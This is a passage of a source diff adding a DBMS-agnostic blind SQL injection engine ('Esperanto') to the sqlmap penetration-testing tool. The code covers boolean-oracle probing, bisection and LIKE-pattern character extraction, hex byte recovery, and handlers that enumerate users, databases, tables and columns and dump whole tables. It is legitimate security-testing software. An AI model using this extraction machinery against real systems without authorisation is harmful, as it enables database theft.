|
||||
raise OverflowError("integer below minimum -%d" % cap)
|
||||
hi, lo = -1, -2
|
||||
while lo > -cap and not self._gtNum(expr, lo, HUGE):
|
||||
hi, lo = lo, lo * 2
|
||||
lo = max(lo, -cap - 1)
|
||||
# invariant: expr > lo is True, expr > hi is False -> value is the transition in (lo, hi]
|
||||
while hi - lo > 1:
|
||||
mid = (lo + hi) // 2
|
||||
if self._gtNum(expr, mid, HUGE):
|
||||
lo = mid
|
||||
else:
|
||||
hi = mid
|
||||
# FINAL INDEPENDENT CHECK: bisection trusts the comparator, which is only PROVEN on
|
||||
# integer literals - a backend/WAF that honours '>' on literals but rewrites it (e.g. to
|
||||
# '>=') for scalar-subquery / fn / arithmetic operands would converge off-by-one. Confirm
|
||||
# the result with a direct equality against the ACTUAL expression; if it isn't decisively
|
||||
# true the read is invalid -> fail closed (never return a silently-wrong count/length/id).
|
||||
if not self._ask("(%s)=%d" % (expr, hi)):
|
||||
raise OracleUndecided("integer read failed final equality check: (%s) != %d" % (expr, hi))
|
||||
return hi
|
||||
|
||||
def extractBytes(self, expr):
|
||||
"""Extract the exact bytes of a string/blob expression via a hex function.
|
||||
Byte-exact and collation-independent (the hex string is ASCII [0-9A-F], so
|
||||
whatever compare mode is active reads it cleanly). Returns None if no hex
|
||||
function is available on the target."""
|
||||
if not self._ensureHexfn():
|
||||
return None
|
||||
# hex doubles the length; cap by maxbytes (a char can be several bytes),
|
||||
# not maxlen
|
||||
res = self.extractResult(self.dialect.hexfn[1].format(expr=expr),
|
||||
_ceiling=self.maxbytes * 2, _verify=False)
|
||||
hexstr = res.value
|
||||
# STRICT: never clean corruption into believable bytes. reject a non-hex
|
||||
# char, odd length, incomplete/truncated pull, or an unresolved marker.
|
||||
if hexstr is None or not res.complete or res.truncated or res.warnings:
|
||||
return None
|
||||
if len(hexstr) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in hexstr):
|
||||
return None
|
||||
try:
|
||||
raw = _unhexlify(hexstr)
|
||||
except (TypeError, ValueError, binascii.Error, UnicodeError):
|
||||
return None
|
||||
# INDEPENDENT witness: if a byte-length fn was discovered, confirm the recovered byte
|
||||
# count matches it (measured by a DIFFERENT primitive than hex) - so a capped/lossy hex
|
||||
# that silently shortened the value is caught rather than passed off as "the exact bytes".
|
||||
if self.dialect.bytelen is not None:
|
||||
# FAIL CLOSED: once a byte-length witness is selected for certification, an undecided
|
||||
# or mismatched reading means we CANNOT confirm the bytes are whole -> reject, never
|
||||
# treat "couldn't verify" as "matched".
|
||||
try:
|
||||
expected = self.extractInteger(self.dialect.bytelen[1].format(expr=expr))
|
||||
except (OracleUndecided, OverflowError):
|
||||
return None
|
||||
if expected is None or expected != len(raw):
|
||||
return None
|
||||
return raw
|
||||
|
||||
def extractText(self, expr, encoding="utf-8", errors="replace"):
|
||||
"""Extract bytes then decode with a caller-chosen encoding - the reliable
|
||||
path when the column's charset is known (e.g. a CP1252 VARCHAR, a UTF-16
|
||||
NVARCHAR, or a binary blob). Falls back to char-by-char extract() when the
|
||||
target has no hex function."""
|
||||
raw = self.extractBytes(expr)
|
||||
if raw is None:
|
||||
return self.extract(expr)
|
||||
return raw.decode(encoding, errors)
|
||||
|
||||
def _likePat(self, prefix_singles, ch, trailing, trailing_multi=False):
|
||||
# build a LIKE/GLOB/SIMILAR-TO pattern literal: `single`*before + one literal char +
|
||||
# `single`*after (+ a trailing multi-wildcard when the value CONTINUES past what we
|
||||
# read - a truncated prefix, from limit< length or length> maxlen). Without that
|
||||
# multi the pattern demands an EXACT length and can't match the longer source -> every
|
||||
# char would come back unresolved. only `ch` may be special, escaped if so.
|
||||
p = self.dialect.prefix
|
||||
multi, single = p.get("multi"), p.get("single")
|
||||
tail = single * trailing + (multi if trailing_multi else "")
|
||||
body = single * prefix_singles
|
||||
if p.name == "GLOB" and ch in (multi, single, "["):
|
||||
return body + "[%s]" % ch + tail, "" # GLOB escapes via a char class
|
||||
# SIMILAR TO shares %/_ with LIKE but also has regex metachars; LIKE has only %/_
|
||||
special = _SIMILAR_META if p.name == "SIMILAR TO" else (multi, single)
|
||||
if ch in special:
|
||||
return body + "\\" + ch + tail, " ESCAPE '\\'" # escape via ESCAPE '\'
|
||||
return body + ch.replace("'", "''") + tail, ""
|
||||
|
||||
def _likeIs(self, expr, pattern, esc):
|
||||
return self._ask("(%s) %s '%s'%s" % (expr, self.dialect.prefix.name, pattern, esc))
|
||||
|
||||
def _likeExtract(self, expr, limit=None):
|
||||
p = self.dialect.prefix
|
||||
multi, single = p.get("multi"), p.get("single")
|
||||
q0 = self._queries
|
||||
# NULL vs matches-anything-nonnull
|
||||
if not self._likeIs(expr, multi, ""):
|
||||
is_null = self._ask("(%s) IS NULL" % expr)
|
||||
return ExtractResult(None, is_null=is_null, complete=is_null,
|
||||
queries=self._queries - q0,
|
||||
warnings=[] if is_null else ["pattern probe failed"])
|
||||
if self._likeIs(expr, "", ""): # empty string matches only ''
|
||||
return ExtractResult("", complete=True, queries=self._queries - q0)
|
||||
# length from wildcards: `_`*n + `%` matches iff length >= n. find the
|
||||
# largest n that still matches (keep a known-true lower bound; the exponential
|
||||
# must NOT advance lo past the true region)
|
||||
ge = lambda n: self._likeIs(expr, single * n + multi, "")
|
||||
if self.maxlen < 1: # capped to nothing: non-empty but unread
|
||||
return ExtractResult("", complete=False, truncated=True,
|
||||
queries=self._queries - q0,
|
||||
warnings=["maxlen<1: value not read"])
|
||||
hi = 1
|
||||
while hi < self.maxlen and ge(hi):
|
||||
hi = min(hi * 2, self.maxlen)
|
||||
lo = 1 # ge(1) is true (non-empty)
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
lo, hi = (mid, hi) if ge(mid) else (lo, mid - 1)
|
||||
length = lo
|
||||
# truncated ONLY if a char exists past the cap (ge(maxlen+1)); an exactly-maxlen
|
||||
# value is COMPLETE - the old `ge(maxlen)` test flagged every capped value truncated
|
||||
truncated = length >= self.maxlen and ge(self.maxlen + 1)
|
||||
if limit is not None and limit < length:
|
||||
truncated, length = True, limit
|
||||
out = []
|
||||
for i in range(length):
|
||||
hit = None
|
||||
for c in _FREQ_ORDER:
|
||||
# trailing multi-wildcard when the value continues past `length` (truncated
|
||||
# prefix), so the pattern matches the longer source instead of demanding exact len
|
||||
pat, esc = self._likePat(i, c, length - i - 1, trailing_multi=truncated)
|
||||
if self._likeIs(expr, pat, esc):
|
||||
hit = c
|
||||
break
|
||||
out.append(hit if hit is not None else _REPL)
|
||||
value = "".join(out)
|
||||
warns = ["contains unresolved char"] if _REPL in value else []
|
||||
if p.get("case_insensitive"):
|
||||
warns.append("LIKE is case-insensitive: letter case may be ambiguous")
|
||||
return ExtractResult(value, complete=not truncated and not _hardWarnings(warns),
|
||||
truncated=truncated, queries=self._queries - q0, warnings=warns)
|
||||
|
||||
@staticmethod
|
||||
def _decodeHexToken(token, encoding=None):
|
||||
if len(token) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in token):
|
||||
return None # strict: don't clean corruption
|
||||
try:
|
||||
raw = _unhexlify(token)
|
||||
except (TypeError, ValueError, binascii.Error, UnicodeError):
|
||||
return None
|
||||
if encoding:
|
||||
# a PROVEN codec is authoritative: if the bytes don't decode under it, that is a
|
||||
# FAILURE (return None -> token dropped, result marked incomplete), NOT licence to
|
||||
# reinterpret them as some other codec (00 D8 is an invalid UTF-16LE lone surrogate,
|
||||
# but a valid UTF-16BE 'O with stroke' - guessing again would silently corrupt).
|
||||
try:
|
||||
return raw.decode(encoding, "strict")
|
||||
except (UnicodeDecodeError, LookupError):
|
||||
return None
|
||||
# UNKNOWN codec + an embedded NUL is genuinely AMBIGUOUS: bytes `41 00` are valid UTF-8
|
||||
# ("A" + NUL) AND valid UTF-16LE ("A"), and no primitive lied - with no proven codec
|
||||
# either reading could be right, so neither is exact. Refuse (drop the token -> the caller
|
||||
# falls back to per-char extraction, which round-trips each char against the source).
|
||||
if b"\x00" in raw:
|
||||
return None
|
||||
# no NUL and no proven codec: a best-effort DISPLAY decode (exactness of any non-ASCII
|
||||
# result is gated separately - the dump downgrades non-ASCII under an unknown codec, and
|
||||
# scalar hex recovery refuses to certify unknown-codec non-ASCII bytes).
|
||||
for enc in ("utf-8", "latin-1"):
|
||||
try:
|
||||
return raw.decode(enc)
|
||||
except (UnicodeDecodeError, ValueError):
|
||||
continue
|
||||
return raw.decode("latin-1", "replace")
|
||||
@@ -0,0 +1,283 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from .engine import Esperanto
|
||||
from .records import OracleUndecided
|
||||
|
||||
|
||||
def _sanitize(s):
|
||||
"""Escape C0/DEL/C1 control bytes in recovered DB content before it is logged - a stored
|
||||
value can carry ANSI/OSC sequences that would otherwise drive or forge the sqlmap console."""
|
||||
if not isinstance(s, type(u"")):
|
||||
return s
|
||||
return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s)
|
||||
|
||||
|
||||
def buildHandler():
|
||||
"""Build the sqlmap dbmsHandler that drives enumeration through this engine when
|
||||
the back-end cannot be (or should not be) fingerprinted. sqlmap-core imports are
|
||||
deferred here so the engine above stays dependency-free for standalone use.
|
||||
|
||||
The user still commands *what* to retrieve (--banner / --tables / --dump / ...);
|
||||
esperanto only works out *how* on a dialect it discovers from scratch, and every
|
||||
probe rides sqlmap's own boolean inference (request / comparison / WAF stack)."""
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
from lib.core.enums import EXPECTED
|
||||
from lib.core.exception import SqlmapDataException
|
||||
from lib.request.inject import checkBooleanExpression
|
||||
from lib.request.inject import getValue
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
# boolean-blind-only oracle (no inband UNION marker): whole-page true/false, so a
|
||||
# reflective target that filters out the reflected marker can't defeat it
|
||||
def _blindOracle(condition):
|
||||
return getValue(condition, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY,
|
||||
suppressOutput=True, union=False, error=False, time=False)
|
||||
|
||||
class _EsperantoHandler(Enumeration, Miscellaneous):
|
||||
def __init__(self):
|
||||
Enumeration.__init__(self)
|
||||
Miscellaneous.__init__(self)
|
||||
self._esp = None
|
||||
self._notesLogged = 0 # how many dialect.notes already surfaced (see _flushNotes)
|
||||
self._identCache = {} # current user/db: fetch (and announce) once
|
||||
self._colCache = {} # (db, table) -> ordered column names, so a dump
|
||||
# reuses what --columns already enumerated
|
||||
self._scopeCache = {} # table -> resolved schema (see _scopeFor)
|
||||
|
||||
def _engine(self):
|
||||
if self._esp is None:
|
||||
# esperanto is a PURE boolean-oracle engine: every probe is one true/false
|
||||
# question, so it gains nothing from UNION/error inband extraction - while
|
||||
# those need a concatenated marker whose generic form is CONCAT() when the
|
||||
# backend is unidentified (agent.py), and CONCAT() does not exist on SQLite/
|
||||
# Firebird/Oracle (they use ||) so every such probe errors. so PREFER the
|
||||
# boolean-blind technique: no marker, no concatenation, whole-page true/false,
|
||||
# works everywhere. only fall back to whatever-technique-is-available if the
|
||||
# target has no usable boolean-blind vector. _ask decides what an undecidable
|
||||
# probe MEANS by context (skip a candidate rung vs degrade a data read loudly).
|
||||
esp = Esperanto(_blindOracle, retries=2)
|
||||
logger.info("Esperanto is discovering the back-end SQL dialect (agnostic mode, boolean-blind)")
|
||||
try:
|
||||
esp.discover()
|
||||
except RuntimeError:
|
||||
# no usable boolean-blind vector on this target - retry with any technique
|
||||
# sqlmap detected (UNION/error/time); may hit the CONCAT limitation above
|
||||
esp = Esperanto(lambda condition: checkBooleanExpression(condition), retries=2)
|
||||
logger.info("Esperanto retrying discovery via any available inference technique")
|
||||
try:
|
||||
esp.discover()
|
||||
except RuntimeError as ex:
|
||||
# genuinely unusable (unstable target, or no substring/pattern
|
||||
# primitive) - stop cleanly instead of surfacing an internal traceback
|
||||
raise SqlmapDataException("Esperanto could not establish a reliable extraction oracle on this target (%s)" % ex)
|
||||
logger.info("Esperanto dialect verdict: %s" % (esp.identify().get("product") or "unknown"))
|
||||
esp._progress = lambda value: logger.info("retrieved: %s" % _sanitize(value)) # live feedback (sanitized)
|
||||
self._esp = esp
|
||||
self._notesLogged = 0
|
||||
self._flushNotes() # discovery-time notes
|
||||
return self._esp
|
||||
|
||||
def _flushNotes(self):
|
||||
# surface degradation notes LOUDLY as they accrue. Enumeration/dump append notes
|
||||
# AFTER discovery, so logging once would hide every runtime degradation (incomplete
|
||||
# listing, truncation, blocked paging) - flush the NEW ones after each operation.
|
||||
notes = self._esp.dialect.notes if self._esp else []
|
||||
for note in notes[self._notesLogged:]:
|
||||
logger.warning("Esperanto: %s" % note)
|
||||
self._notesLogged = len(notes)
|
||||
|
||||
def _scopeDb(self):
|
||||
# the database to scope table/column lookups to: -D if given, else the
|
||||
# current one. WITHOUT this, a same-named table in another schema (e.g.
|
||||
# information_schema.USERS vs shop.users) merges columns and breaks dump.
|
||||
return conf.db or self.getCurrentDb()
|
||||
|
||||
def _scopeFor(self, table):
|
||||
# scope for a SPECIFIC table: -D wins; else the current schema IF the table
|
||||
# is there; else the schema the table actually lives in (PG-family: tables
|
||||
# often sit in 'public' while current_schema is the login user's own schema).
|
||||
if conf.db:
|
||||
return conf.db
|
||||
if table in self._scopeCache:
|
||||
return self._scopeCache[table]
|
||||
esp = self._engine()
|
||||
cur = self.getCurrentDb()
|
||||
scope = cur if (cur and esp.hasTable(table, cur)) else (esp.tableSchema(table) or cur)
|
||||
self._scopeCache[table] = scope
|
||||
return scope
|
||||
|
||||
def _db(self):
|
||||
return self._scopeDb() or "<current>"
|
||||
|
||||
def getFingerprint(self):
|
||||
# concise fingerprint only; the version banner is shown for --banner, not
|
||||
# printed unbidden on every run (and not re-extracted here)
|
||||
product = self._engine().identify().get("product") or "unknown"
|
||||
return "back-end DBMS: %s (via Esperanto DBMS-agnostic engine)" % product
|
||||
|
||||
def getBanner(self):
|
||||
# the ONLY path that blind-reads the full version string (expensive); the
|
||||
# fingerprint/product naming never does
|
||||
logger.info("fetching banner")
|
||||
kb.data.banner = self._engine().banner()
|
||||
return kb.data.banner
|
||||
|
||||
def getCurrentUser(self):
|
||||
if "user" not in self._identCache:
|
||||
expr = self._engine().dialect.identity.get("user")
|
||||
if expr:
|
||||
logger.info("fetching current user")
|
||||
self._identCache["user"] = self._safeExtract(expr) if expr else None
|
||||
kb.data.currentUser = self._identCache["user"]
|
||||
return kb.data.currentUser
|
||||
|
||||
def getCurrentDb(self):
|
||||
# called repeatedly to scope tables/columns/dump -> fetch and announce once
|
||||
if "db" not in self._identCache:
|
||||
expr = self._engine().dialect.identity.get("database")
|
||||
if expr:
|
||||
logger.info("fetching current database")
|
||||
self._identCache["db"] = self._safeExtract(expr) if expr else None
|
||||
kb.data.currentDb = self._identCache["db"]
|
||||
return kb.data.currentDb
|
||||
|
||||
def _safeExtract(self, expr):
|
||||
# current user/db are used as SQL QUALIFIERS + cache keys + scoping decisions, so
|
||||
# they must be EXACT - a truncated/case-ambiguous value here becomes wrong SQL.
|
||||
try:
|
||||
res = self._esp.extractResult(expr)
|
||||
except OracleUndecided:
|
||||
logger.warning("Esperanto could not retrieve %s (oracle undecided)" % expr)
|
||||
return None
|
||||
if res.value is not None and not res.exact:
|
||||
logger.warning("Esperanto: %s not recovered exactly (%s) - not used for scoping" % (expr, res.integrity))
|
||||
return None
|
||||
return res.value
|
||||
|
||||
def isDba(self, user=None):
|
||||
# UNKNOWN, not a negative claim: Esperanto has no generic DBA probe, so returning
|
||||
# False would assert "not a DBA" on no evidence. Report it can't tell and return
|
||||
# None (unknown) so a transient can't be read as a proven privilege verdict.
|
||||
logger.warning("Esperanto cannot determine DBA status (no generic privilege probe)")
|
||||
kb.data.isDba = None
|
||||
return kb.data.isDba
|
||||
|
||||
def getDbs(self):
|
||||
logger.info("fetching database names")
|
||||
kb.data.cachedDbs = self._engine().enumerate("database", limit=(conf.limitStop or 50)) or []
|
||||
self._flushNotes()
|
||||
return kb.data.cachedDbs
|
||||
|
||||
def getTables(self, bruteForce=None):
|
||||
# scope to the requested database (-D) or the current one, so the listing
|
||||
# isn't polluted with every schema's tables (e.g. information_schema)
|
||||
db = conf.db or self.getCurrentDb()
|
||||
lim = conf.limitStop or 100
|
||||
names = self._engine().enumerate("table", limit=lim, schema=db) or []
|
||||
if not names and not conf.db and db != "public":
|
||||
# current schema empty (PG-family: login-user schema) -> tables usually
|
||||
# live in 'public'; broaden rather than report nothing
|
||||
pub = self._engine().enumerate("table", limit=lim, schema="public") or []
|
||||
if pub:
|
||||
names, db = pub, "public"
|
||||
infoMsg = "fetching tables"
|
||||
if db:
|
||||
infoMsg += " for database '%s'" % db
|
||||
logger.info(infoMsg)
|
||||
kb.data.cachedTables = {db or "<current>": names}
|
||||
self._flushNotes()
|
||||
return kb.data.cachedTables
|
||||
|
||||
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
|
||||
if not conf.tbl:
|
||||
logger.error("Esperanto needs a table (-T) to enumerate columns")
|
||||
return {}
|
||||
db = self._scopeFor(conf.tbl)
|
||||
infoMsg = "fetching columns for table '%s'" % conf.tbl
|
||||
if db:
|
||||
infoMsg += " in database '%s'" % db
|
||||
logger.info(infoMsg)
|
||||
names = self._engine().columns(conf.tbl, schema=db) or []
|
||||
self._colCache[(db, conf.tbl)] = names # let a following dump reuse these
|
||||
kb.data.cachedColumns = {db or "<current>": {conf.tbl: dict((n, None) for n in names)}}
|
||||
self._flushNotes()
|
||||
return kb.data.cachedColumns
|
||||
|
||||
def getSchema(self):
|
||||
esp = self._engine()
|
||||
# use the EFFECTIVE db that getTables() actually resolved (it may have broadened to
|
||||
# 'public' when the current schema was empty) - recomputing _db() here would miss
|
||||
# that and look columns up in the wrong (empty) schema.
|
||||
tabmap = self.getTables()
|
||||
effdb, tables = next(iter(tabmap.items()), ("<current>", []))
|
||||
colscope = self._scopeDb() if effdb == "<current>" else effdb
|
||||
schema = {}
|
||||
for table in (tables or []):
|
||||
schema[table] = dict((n, None) for n in (esp.columns(table, schema=colscope) or []))
|
||||
kb.data.cachedColumns = {effdb: schema}
|
||||
self._flushNotes()
|
||||
return kb.data.cachedColumns
|
||||
|
||||
def dumpTable(self, foundData=None):
|
||||
if not conf.tbl:
|
||||
logger.error("Esperanto needs a table (-T) to dump")
|
||||
return
|
||||
db = self._scopeFor(conf.tbl)
|
||||
cols = [c.strip() for c in conf.col.split(",")] if conf.col else None
|
||||
if cols is None:
|
||||
cols = self._colCache.get((db, conf.tbl)) # reuse --columns' result; don't re-walk
|
||||
infoMsg = "fetching entries"
|
||||
if cols:
|
||||
infoMsg += " of column(s) '%s'" % ", ".join(cols)
|
||||
infoMsg += " for table '%s'" % conf.tbl
|
||||
if db:
|
||||
infoMsg += " in database '%s'" % db
|
||||
logger.info(infoMsg)
|
||||
# sqlmap row-SELECTORS change WHICH rows come back, so REFUSE (don't silently return
|
||||
# different data): --where filters, --start offsets. --stop is honored as a row cap.
|
||||
if getattr(conf, "dumpWhere", None):
|
||||
logger.error("Esperanto cannot honor --where; refusing rather than returning unfiltered rows")
|
||||
return
|
||||
if getattr(conf, "limitStart", None):
|
||||
logger.error("Esperanto cannot honor --start; refusing rather than returning the wrong row range")
|
||||
return
|
||||
# the SAME qualified reference for count and dump, so a non-default schema can't make
|
||||
# the count hit a different (unqualified) table than the dump (#8).
|
||||
qtable = self._engine().qualify(conf.tbl, db)
|
||||
if conf.limitStop:
|
||||
limit = conf.limitStop
|
||||
else:
|
||||
try:
|
||||
limit = self._engine().extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) or 10
|
||||
except (OracleUndecided, OverflowError):
|
||||
limit = 1 << 30 # unknown count -> effectively "all" (keyset stops at end)
|
||||
logger.info("no --stop given; dumping all %s rows" % (limit if limit < (1 << 30) else "(count unknown)"))
|
||||
result = self._engine().dump(conf.tbl, columns=cols, schema=db, limit=limit)
|
||||
if not result or not result["columns"]:
|
||||
logger.error("Esperanto could not dump table '%s'" % conf.tbl)
|
||||
return
|
||||
table_data = {}
|
||||
for i, name in enumerate(result["columns"]):
|
||||
values = [("NULL" if row[i] is None else row[i]) for row in result["rows"]]
|
||||
width = max([len(name)] + [len(v) for v in values]) if values else len(name)
|
||||
table_data[name] = {"length": width, "values": values}
|
||||
table_data["__infos__"] = {"count": len(result["rows"]), "table": conf.tbl, "db": self._db()}
|
||||
if not result["complete"]:
|
||||
logger.warning("Esperanto dump of '%s' may be incomplete" % conf.tbl)
|
||||
if not result.get("exact", True): # coverage may be complete yet content inexact
|
||||
logger.warning("Esperanto dump of '%s': values recovered via a collation-dependent "
|
||||
"comparison - case/accents may not be byte-exact" % conf.tbl)
|
||||
kb.data.dumpedTable = table_data
|
||||
self._flushNotes()
|
||||
conf.dumper.dbTableValues(kb.data.dumpedTable)
|
||||
|
||||
return _EsperantoHandler()
|
||||
@@ -0,0 +1,136 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from contextlib import contextmanager
|
||||
|
||||
from .records import OracleUndecided
|
||||
from .records import QueryBudgetExceeded
|
||||
|
||||
|
||||
class _OracleCore(object):
|
||||
"""_OracleCore
|
||||
|
||||
the boolean-oracle contract + tiny SQL formatters (nothing dialect-specific)."""
|
||||
|
||||
@contextmanager
|
||||
def _probePhase(self):
|
||||
# mark a candidate-rung laddering section (discovery or lazy _ensure*): while
|
||||
# active, a host oracle may safely read an undecidable probe as False ("this
|
||||
# rung is unusable"), whereas outside it an undecidable READ must stay undecided
|
||||
prev = self._probing
|
||||
self._probing = True
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
self._probing = prev
|
||||
|
||||
def _emit(self, value):
|
||||
# per-VALUE feedback is for user-requested data reads only, NOT capability/discovery probes
|
||||
# (charset, lazy hexfn, cast canary - all wrapped in _probePhase): surfacing an internal
|
||||
# probe value as "retrieved: <x>" reads as a stray, out-of-context line to the user.
|
||||
if self._progress and value not in (None, "") and not self._probing:
|
||||
try:
|
||||
self._progress(value)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _emitChar(self, partial, total):
|
||||
# live per-character feedback DURING a long extraction, so the user sees movement
|
||||
# instead of a frozen prompt (a whole framed row is one long silent read otherwise) -
|
||||
# suppressed during probe phases (see _emit) so a discovery probe doesn't animate
|
||||
if self._charProgress and not self._probing:
|
||||
try:
|
||||
self._charProgress(partial, total)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _probe(self, condition):
|
||||
# ONE tri-state evaluation: True / False / None(persistent error). a raised
|
||||
# oracle is retried (transient) before being reported as an error - a
|
||||
# wrong-dialect probe legitimately errors, but a flaky connection must not
|
||||
# be allowed to read as a definitive False. counts every actual oracle call.
|
||||
for _ in range(self.retries + 1):
|
||||
if self.max_queries is not None and self._queries >= self.max_queries:
|
||||
raise QueryBudgetExceeded("oracle query budget exhausted at %d calls" % self._queries)
|
||||
self._queries += 1
|
||||
try:
|
||||
observed = self.oracle(condition)
|
||||
except Exception:
|
||||
continue
|
||||
# STRICT: only a real bool is an observation. None/0/''/other must not be
|
||||
# coerced to False (that silently corrupts bisection) - treat as undecided.
|
||||
if observed is True or observed is False:
|
||||
return observed
|
||||
return None
|
||||
|
||||
def _ask(self, condition):
|
||||
# decided boolean, or raise OracleUndecided - NEVER manufacture False from an
|
||||
# unobservable probe (that would silently corrupt blind bisection). the oracle
|
||||
# must itself return False for unsupported/rejected SQL; a raised probe means
|
||||
# "could not observe" and, absent a quorum, is fatal.
|
||||
if self.quorum <= 1:
|
||||
r = self._probe(condition)
|
||||
if self.verbose:
|
||||
print(" [%s] %s" % ("T" if r else ("E" if r is None else "f"), condition))
|
||||
if r is None:
|
||||
# while laddering CANDIDATE rungs an undecidable/erroring probe (oracle
|
||||
# returned None OR raised - both surface here as None) means "this rung is
|
||||
# unusable", so read it as False and let the ladder move on; only OUTSIDE
|
||||
# probing (reading committed data) is it fatal, so a flaky read never
|
||||
# silently coerces to a definite bit
|
||||
if self._probing:
|
||||
return False
|
||||
self._errors += 1
|
||||
raise OracleUndecided("oracle could not decide: %s" % condition)
|
||||
return r
|
||||
|
||||
samples = 2 * self.quorum - 1
|
||||
yes = no = tries = 0
|
||||
while (yes + no) < samples and tries < samples + self.quorum + 2:
|
||||
tries += 1
|
||||
r = self._probe(condition)
|
||||
if r is None:
|
||||
self._errors += 1
|
||||
continue
|
||||
yes, no = (yes + 1, no) if r else (yes, no + 1)
|
||||
if yes >= self.quorum or no >= self.quorum:
|
||||
break
|
||||
if self.verbose:
|
||||
state = "T" if yes >= self.quorum else ("f" if no >= self.quorum else "E")
|
||||
print(" [%s %d:%d] %s" % (state, yes, no, condition))
|
||||
if yes >= self.quorum:
|
||||
return True
|
||||
if no >= self.quorum:
|
||||
return False
|
||||
if self._probing: # candidate rung the vote couldn't settle -> unusable, not fatal
|
||||
return False
|
||||
raise OracleUndecided("oracle vote undecided: %s (%d true / %d false)" % (condition, yes, no))
|
||||
|
||||
def _sub(self, expr, pos, length):
|
||||
# pos is always passed 1-based; adjust for a 0-based dialect if discovered
|
||||
p = pos if self.dialect.substring.get("index_base", 1) == 1 else pos - 1
|
||||
return self.dialect.substring[1].format(expr=expr, pos=p, len=length)
|
||||
|
||||
def _len(self, expr):
|
||||
return self.dialect.length[1].format(expr=expr)
|
||||
|
||||
def _sanity(self):
|
||||
return self._ask("1=1") and not self._ask("1=2") and \
|
||||
self._ask("'a'='a'") and not self._ask("'a'='b'")
|
||||
|
||||
def _exists(self, source, column="1", alias=None):
|
||||
# does `source` (a table/catalog) - and optionally `column` in it - resolve?
|
||||
# WITHOUT COUNT (which a WAF may filter): a scalar subquery over it is NULL when
|
||||
# it resolves (WHERE 1=0 -> 0 rows) and ERRORS -> False when it doesn't. Works
|
||||
# for empty tables too. `column` is passed BARE so a nonexistent one errors,
|
||||
# rather than being taken as a string literal (SQLite quirk) and passing every
|
||||
# fake name. When `alias` is set the column is ALIAS-QUALIFIED (`e.col`) so a bare
|
||||
# candidate can't silently resolve to a KEYWORD/FUNCTION (USER, CURRENT_USER, ...)
|
||||
# or an unrelated in-scope name - an alias-qualified unknown is always an error.
|
||||
if alias:
|
||||
return self._ask("(SELECT %s.%s FROM %s %s WHERE 1=0) IS NULL" % (alias, column, source, alias))
|
||||
return self._ask("(SELECT %s FROM %s WHERE 1=0) IS NULL" % (column, source))
|
||||
@@ -0,0 +1,319 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
class OracleUndecided(RuntimeError):
|
||||
"""The oracle gave no reliable True/False after retries/voting - a transport or
|
||||
observation failure, NOT a definitive answer. Raised so blind extraction fails
|
||||
CLOSED instead of converging on plausible-but-wrong data from a manufactured
|
||||
False. (A wrong-dialect/unsupported probe must be reported as False by the
|
||||
oracle itself; exceptions are reserved for 'could not observe'.)"""
|
||||
|
||||
|
||||
class NumericOutOfRange(OverflowError):
|
||||
"""A bounded numeric read proved the value lies OUTSIDE [lo, hi] (above or below).
|
||||
Raised so a bounded search never invents an in-range boundary value (saturating to
|
||||
`hi`, or - for BETWEEN - converging to a wrong small value). Callers decide: length
|
||||
measurement converts it to (ceiling, truncated=True); integer extraction re-raises."""
|
||||
|
||||
|
||||
class Cap(object):
|
||||
"""A discovered primitive: (name, template) PLUS measured semantic properties.
|
||||
Indexable like the old (name, template) tuple so existing call sites keep working
|
||||
(`cap[0]`, `cap[1]`), with `cap.props` / `cap.get(key)` for the measured facts -
|
||||
e.g. length unit=characters|bytes, substring index_base, charcode semantics."""
|
||||
__slots__ = ("name", "template", "props")
|
||||
|
||||
def __init__(self, name, template, **props):
|
||||
self.name, self.template, self.props = name, template, props
|
||||
|
||||
def __getitem__(self, i):
|
||||
return (self.name, self.template)[i]
|
||||
|
||||
def get(self, key, default=None):
|
||||
return self.props.get(key, default)
|
||||
|
||||
def __repr__(self):
|
||||
extra = (" " + " ".join("%s=%s" % kv for kv in sorted(self.props.items()))) if self.props else ""
|
||||
return "%s(%s)" % (self.name, extra.strip() or self.template)
|
||||
|
||||
|
||||
class Integrity(object):
|
||||
"""How much the engine PROVED about a recovered value - separating 'the walk finished'
|
||||
from 'the bytes are exactly the source'. `complete` alone conflated the two; a value can
|
||||
be WHOLE (every position visited) yet not EXACT (case/accent ambiguous under a lossy
|
||||
collation). Anything used as executable SQL metadata or a paging boundary requires EXACT."""
|
||||
EXACT = "exact" # proven byte-identical to the source value (or a proven NULL)
|
||||
WHOLE_BUT_AMBIGUOUS = "ambiguous" # every position visited, but case/accent is uncertain
|
||||
TRUNCATED = "truncated" # a bounded prefix; the source continues
|
||||
UNRESOLVED = "unresolved" # a character could not be recovered (U+FFFD present)
|
||||
FAILED = "failed" # could not observe / verify (e.g. whole-value check failed)
|
||||
|
||||
|
||||
# warnings that leave a value WHOLE but not EXACT (case/accent uncertain) - distinct from the
|
||||
# "recovered via hex" soft note (that value IS exact) and from hard integrity warnings.
|
||||
_AMBIGUOUS_WARNINGS = ("case", "collation")
|
||||
_U_REPL = u"\uFFFD"
|
||||
|
||||
|
||||
class ExtractResult(object):
|
||||
"""Structured extraction outcome - keeps NULL, empty, truncated and failed
|
